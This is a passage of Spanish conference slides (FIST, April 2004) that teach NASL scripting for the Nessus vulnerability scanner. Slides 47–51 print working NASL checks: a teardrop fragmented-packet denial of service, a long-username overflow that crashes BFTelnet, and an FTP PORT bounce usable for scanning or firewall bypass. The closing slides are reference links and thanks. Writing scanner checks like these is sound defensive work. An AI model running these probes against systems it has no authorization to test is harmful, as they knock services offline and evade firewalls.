  • 47. FIST Conference Abril 2004 Ejemplo: teardrop LEN = UDPH + PADDING; udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN); LEN = IPH + MAGIC + 1; set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC); LEN = UDPH + PADDING; udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN); start_denial(); send_packet(udp1,udp2, pcap_active:FALSE) x 500; alive = end_denial(); if(!alive) { set_kb_item(name:"Host/dead", value:TRUE); security_hole(0); }
  • 48. FIST Conference Abril 2004 Ejemplo: overflow en BFTelnet • nombre de usuario muy largo • provoca la caída del servicio telnet • fallo típico de muchos otros servidores (ftp, pop3, ...)
  • 49. FIST Conference Abril 2004 Ejemplo: overflow en BFTelnet port = get_kb_item ("Services/telnet"); if (!port) port = 23; if (get_port_state(port)) { soc = open_sock_tcp(port); if (soc) { banner = telnet_init(soc); banner = string(banner, recv(socket:soc, length:1000)); data = string(crap(4000), "rn"); send(socket:soc, data:data); close(soc); soc2 = open_sock_tcp(port); if(!soc2) security_warning(port); } }
  • 50. FIST Conference Abril 2004 Ejemplo: ftp bouncing • comando PORT para conexión de datos (protocolo FTP) • posibilidad de iniciar una conexión con host arbitrario • utilidad: • port scanning • bypass de las reglas de un firewall
  • 51. FIST Conference Abril 2004 Ejemplo: ftp bouncing port = get_kb_item("Services/ftp"); if(!port)port = 21; login = get_kb_item("ftp/login"); password = get_kb_item("ftp/password"); if (login) { soc = open_sock_tcp(port); if(soc) { if(ftp_log_in(socket:soc, user:login, pass:password)) { command = string("PORT 66,88,91,109,0,21n"); send(socket:soc, data:command); code = recv(socket:soc, length:4); if(code == "200 ") security_hole(port); } close(soc); } }
  • 52. FIST Conference Abril 2004 Consideraciones finales: • soporte multilenguaje name["english"] = "BFTelnet DoS"; name["francais"]= "Déni de service contre BFTelnet"; script_name(english:name["english"], francais:name["francais"]); • forking automático y transparente ejemplo: dos puertos telnet
  • 53. FIST Conference Abril 2004 Detección de WAPs con NASL: www.tenablesecurity.com/white_papers/wap-id-nessus.pdf Más información sobre NASL y Nessus: www.nessus.org/documentation.html Estas transparencias: www.soluciones-seguras.com www.fistconference.org
  • 54. FIST Conference Abril 2004 Nuestra empresa: Soluciones Seguras
  • 55. FIST Conference Abril 2004 ¡Muchas gracias por venir!